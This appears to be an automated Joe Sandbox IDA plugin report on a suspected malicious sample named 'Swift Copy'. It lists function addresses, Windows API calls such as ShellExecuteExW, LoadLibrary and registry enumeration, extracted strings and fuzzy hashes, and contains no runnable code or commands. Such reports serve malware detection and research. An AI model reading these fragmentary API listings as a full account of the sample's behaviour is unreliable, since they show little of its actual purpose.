Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Init_thread_footer
String ID: D%$D%$D%$D%
API String ID: 1385522511-2722557190
Opcode ID: ac0ad73fbc87e6bacbd1235752540d02750c8fa816f11a2598a8de5008f28abf
Instruction ID: a14c82fc0ba12f8e9d3ac12dd16b38748534f72415085457df4ef0dfb3bc716a
Opcode Fuzzy Hash: ac0ad73fbc87e6bacbd1235752540d02750c8fa816f11a2598a8de5008f28abf
Instruction Fuzzy Hash: F8912D75A00206DFCB14CF69C0916A9B7F1FF59324F64C15EE989AB351E731E981CBA0

Function 00DDC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00D77620: _wcslen.LIBCMT ref: 00D77625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00DDC6EE
_wcslen.LIBCMT ref: 00DDC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 00DDC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 00DDC7CA

Strings

0, xrefs: 00DDC6AF

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 9295e75f67a8f9173e93004c902a3e99137785e9fb6d5c54ac607e3f1673d491
Instruction ID: 30d0f4abd4db1180764fbcd75b66ba29fd7c9967efae66db35f0b9709d205825
Opcode Fuzzy Hash: 9295e75f67a8f9173e93004c902a3e99137785e9fb6d5c54ac607e3f1673d491
Instruction Fuzzy Hash: 4251B371624302ABD7159F28C845B6B77E4EF85314F082A2EF595E32E0EB70D948DB72

Function 00DFAD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 00DFAEA3

Part of subcall function 00D77620: _wcslen.LIBCMT ref: 00D77625

GetProcessId.KERNEL32(00000000), ref: 00DFAF38
CloseHandle.KERNEL32(00000000), ref: 00DFAF67

Strings

@, xrefs: 00DFAE72
<, xrefs: 00DFAE6B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 28f21bf92d75e053728fc81991c26bee4fb4484be204d988e0dd4847ab373224
Instruction ID: a50873a4f72bde8ac65ec4a5ea5f174922bc1a366609827d9baf573611b64d35
Opcode Fuzzy Hash: 28f21bf92d75e053728fc81991c26bee4fb4484be204d988e0dd4847ab373224
Instruction Fuzzy Hash: 357158B1A00219DFCB14DF58C484AAEBBF0EF08310F15C499E95AAB352D774ED45CBA1

Function 00DD719E Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 120comlibraryloaderCOMMON

Download Yara Rule

APIs

CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00DD7206
SetErrorMode.KERNEL32(00000001,?,?,?,?,?,?,?,?,?), ref: 00DD723C
GetProcAddress.KERNEL32(?,DllGetClassObject), ref: 00DD724D
SetErrorMode.KERNEL32(00000000,?,?,?,?,?,?,?,?,?), ref: 00DD72CF

Strings

DllGetClassObject, xrefs: 00DD7242

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ErrorMode$AddressCreateInstanceProc
String ID: DllGetClassObject
API String ID: 753597075-1075368562
Opcode ID: d196e76f56c9c5e7f797610cd29806308f15df78b733504c1fa0307e33ef0697
Instruction ID: f25833b209aada6dc170737c7b385ee65b4e0fcf5064c90542c2c161241c7863
Opcode Fuzzy Hash: d196e76f56c9c5e7f797610cd29806308f15df78b733504c1fa0307e33ef0697
Instruction Fuzzy Hash: D9416A71A05204AFDB25CF54C885A9A7FB9EF44310F2480AEBD05AF30AE7B1D944CBB4

Function 00DFC9EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 00DFC9F1
_wcslen.LIBCMT ref: 00DFCA68
_wcslen.LIBCMT ref: 00DFCA9E
_wcslen.LIBCMT ref: 00DFCAF9
_wcslen.LIBCMT ref: 00DFCB2F
_wcslen.LIBCMT ref: 00DFCB7F

Strings

HKEY_LOCAL_MACHINE, xrefs: 00DFCA62, 00DFCA67
HKLM, xrefs: 00DFCA98, 00DFCA9D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen
String ID: HKEY_LOCAL_MACHINE$HKLM
API String ID: 176396367-4004644295
Opcode ID: fc58054f052eb35862da3df2e1991b9e249c0c3884ba8b74e0e9cbcdc63aaaf0
Instruction ID: 9bd94ecdf1234ac4e265a2601e59eafab48476a4fd226180a08c8227f3b893a2
Opcode Fuzzy Hash: fc58054f052eb35862da3df2e1991b9e249c0c3884ba8b74e0e9cbcdc63aaaf0
Instruction Fuzzy Hash: 06314573A2016D4ACB20DF2C8A514BE37919BA1750F0FE029E945AB245FA70ED60C3B0

Function 00E02F17 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 78windowlibraryCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000467,00000000,?), ref: 00E02F8D
LoadLibraryW.KERNEL32(?), ref: 00E02F94
SendMessageW.USER32(?,00000467,00000000,00000000), ref: 00E02FA9
DestroyWindow.USER32(?), ref: 00E02FB1

Strings

SysAnimate32, xrefs: 00E02F68

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: MessageSend$DestroyLibraryLoadWindow
String ID: SysAnimate32
API String ID: 3529120543-1011021900
Opcode ID: 67aaba7a6c0e32742f4fbc6e2ebf654683bfb4ae41df8835a567c4b75d79cbfd
Instruction ID: 20bea19e2cca3213fefeec46948e7e6c4b2ee6fbbc30d4d86de5a49f07472b1f
Opcode Fuzzy Hash: 67aaba7a6c0e32742f4fbc6e2ebf654683bfb4ae41df8835a567c4b75d79cbfd
Instruction Fuzzy Hash: 9B218E71200206AFEB215F649C48EBB77F9EB593A8F20621CFA50B21D0D672DC919760

Function 00D94D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00D94D1E,00DA28E9,?,00D94CBE,00DA28E9,00E388B8,0000000C,00D94E15,00DA28E9,00000002), ref: 00D94D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D94DA0
FreeLibrary.KERNEL32(00000000,?,?,?,00D94D1E,00DA28E9,?,00D94CBE,00DA28E9,00E388B8,0000000C,00D94E15,00DA28E9,00000002,00000000), ref: 00D94DC3

Strings

mscoree.dll, xrefs: 00D94D86
CorExitProcess, xrefs: 00D94D98

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: b068522b144e6cb2e3d93aedeb0cee8829a65826195a632cf6b6e3650548a947
Instruction ID: 338b402517130e5273bff0464b7ce4f186cd48ebdd3b3367c16ac38fc52246ee
Opcode Fuzzy Hash: b068522b144e6cb2e3d93aedeb0cee8829a65826195a632cf6b6e3650548a947
Instruction Fuzzy Hash: BDF0AF34A00208BFDB119F91DC09BEDBFB4EF04712F1401A4F809B22A0DB719985CBA1

Function 00DCD3A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 29libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00DCD3AD
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00DCD3BF
FreeLibrary.KERNEL32(00000000), ref: 00DCD3E5

Strings

X64, xrefs: 00DCD2A8
GetSystemWow64DirectoryW, xrefs: 00DCD3B9

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetSystemWow64DirectoryW$X64
API String ID: 145871493-2590602151
Opcode ID: 836ae5a81872a861f97698a6af04f02231ba558da9f069b4ad1c74810e4b9ce0
Instruction ID: 1f9c767d5c14feffb56f758e1082c22435b68b54cdd9241ffc513447b42b88c9
Opcode Fuzzy Hash: 836ae5a81872a861f97698a6af04f02231ba558da9f069b4ad1c74810e4b9ce0
Instruction Fuzzy Hash: EDF020308026239BCB312B118C18F2AB222AF50B01F79927DE446F3080DB30CC8486F7

Function 00D74E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00D74EDD,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00D74EAE
FreeLibrary.KERNEL32(00000000,?,?,00D74EDD,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74EC0

Strings

kernel32.dll, xrefs: 00D74E94
Wow64DisableWow64FsRedirection, xrefs: 00D74EA8

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: 8ecf16a3c2aed7e2b0adc34dadfd7fc0a17d69e6d497923f4cff37255492768a
Instruction ID: 488e4abf6c036ddbc1d096ff4caeb2d6f814e067206ca71a43794f2bde2c1d96
Opcode Fuzzy Hash: 8ecf16a3c2aed7e2b0adc34dadfd7fc0a17d69e6d497923f4cff37255492768a
Instruction Fuzzy Hash: 5FE08636A026225FD22217266C18A6B6564AF81B72B194215FC04F2140EB64CD4585B1

Function 00D74E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00DB3CDE,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00D74E74
FreeLibrary.KERNEL32(00000000,?,?,00DB3CDE,?,00E41418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00D74E87

Strings

kernel32.dll, xrefs: 00D74E5B
Wow64RevertWow64FsRedirection, xrefs: 00D74E6E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: c86a7d35bbcf2672f9b2a07db6cb9e96965e3da00377082d1625d770c452ccd2
Instruction ID: 3d137ffd71a19b0ddeeed1fd33a61d6bce655ac73729c4994326b243347bcf82
Opcode Fuzzy Hash: c86a7d35bbcf2672f9b2a07db6cb9e96965e3da00377082d1625d770c452ccd2
Instruction Fuzzy Hash: A2D0C2325036316BC6231B266C0CD8B2A2CEF85B213195710B818F2154DF61CD41C6E0

Function 00DFA387 Relevance: 7.8, APIs: 5, Instructions: 256COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 00DFA427
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 00DFA435
GetProcessIoCounters.KERNEL32(00000000,?), ref: 00DFA468
CloseHandle.KERNEL32(?), ref: 00DFA63D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$CloseCountersCurrentHandleOpen
String ID:
API String ID: 3488606520-0
Opcode ID: 6153d6342cd4a2b1431d31a4667338d41365eb7a68fe488744390bdd35265e7a
Instruction ID: 6cf49d80752408cc3c84fe063b1d9e9739cb0a680b0cf88ff91767919ff3568c
Opcode Fuzzy Hash: 6153d6342cd4a2b1431d31a4667338d41365eb7a68fe488744390bdd35265e7a
Instruction Fuzzy Hash: FBA1A0B16047019FD720DF28C882B2AB7E5EF84714F14C85DF9599B392D770EC418BA2

Function 00DDE3FB Relevance: 7.7, APIs: 5, Instructions: 167filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DDDDE0: GetFullPathNameW.KERNEL32(00000000,00007FFF,?,?,?,?,?,?,00DDCF22,?), ref: 00DDDDFD

Part of subcall function 00DDDDE0: GetFullPathNameW.KERNEL32(?,00007FFF,?,?,?,?,?,00DDCF22,?), ref: 00DDDE16

Part of subcall function 00DDE199: GetFileAttributesW.KERNEL32(?,00DDCF95), ref: 00DDE19A

lstrcmpiW.KERNEL32(?,?), ref: 00DDE473
MoveFileW.KERNEL32(?,?), ref: 00DDE4AC
_wcslen.LIBCMT ref: 00DDE5EB
_wcslen.LIBCMT ref: 00DDE603
SHFileOperationW.SHELL32(?,?,?,?,?,?), ref: 00DDE650

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: File$FullNamePath_wcslen$AttributesMoveOperationlstrcmpi
String ID:
API String ID: 3183298772-0
Opcode ID: 2b509098e39041ccc6f76e5b34cc037398073afb8a61c14c7f05dc8ce39ca193
Instruction ID: bc8f6b6f93d6cbabb44d3b3dbd37083d701383e31d64a1be2b9ba3da95b5cb67
Opcode Fuzzy Hash: 2b509098e39041ccc6f76e5b34cc037398073afb8a61c14c7f05dc8ce39ca193
Instruction Fuzzy Hash: 6C5160B24087455BCB24EB90D8919DFB3DCEF84340F04491FF58997291EE74E5888776

Function 00DFB9C9 Relevance: 7.7, APIs: 5, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00D79CB3: _wcslen.LIBCMT ref: 00D79CBD

Part of subcall function 00DFC998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00DFB6AE,?,?), ref: 00DFC9B5
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFC9F1
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFCA68
Part of subcall function 00DFC998: _wcslen.LIBCMT ref: 00DFCA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00DFBAA5
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00DFBB00
RegEnumKeyExW.ADVAPI32(?,-00000001,?,?,00000000,00000000,00000000,?), ref: 00DFBB63
RegCloseKey.ADVAPI32(?,?), ref: 00DFBBA6
RegCloseKey.ADVAPI32(00000000), ref: 00DFBBB3

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: _wcslen$Close$BuffCharConnectEnumOpenRegistryUpper
String ID:
API String ID: 826366716-0
Opcode ID: b5b8029c6d2e8edf1cf7d3f04896e70b85c2f2a685ce73704d84b8c360551835
Instruction ID: 9cf3ba8e3c927599166ee7151a46e5f950d2edce8fdadc9e60a1d444de7b5fd6
Opcode Fuzzy Hash: b5b8029c6d2e8edf1cf7d3f04896e70b85c2f2a685ce73704d84b8c360551835
Instruction Fuzzy Hash: 54618B31208205AFD714DF14C890E2ABBE5FF84318F59C95DF5998B2A2DB31ED45CBA2

Function 00DD8BB0 Relevance: 7.7, APIs: 5, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00DD8BCD
VariantClear.OLEAUT32 ref: 00DD8C3E
VariantClear.OLEAUT32 ref: 00DD8C9D
VariantClear.OLEAUT32(?), ref: 00DD8D10
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00DD8D3B

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType
String ID:
API String ID: 4136290138-0
Opcode ID: 82d7e54c2b952c00856bd12807b40a4c1719c562e3179c312cdeb9a0bf388059
Instruction ID: 31f71b9f42a74941c0da1113b583b62c596178e0876d0d1d6b1ecf3fb421755c
Opcode Fuzzy Hash: 82d7e54c2b952c00856bd12807b40a4c1719c562e3179c312cdeb9a0bf388059
Instruction Fuzzy Hash: 25517CB5A00219EFCB14CF69C884AAAB7F9FF89310B15855AF915DB350E730E911CFA0

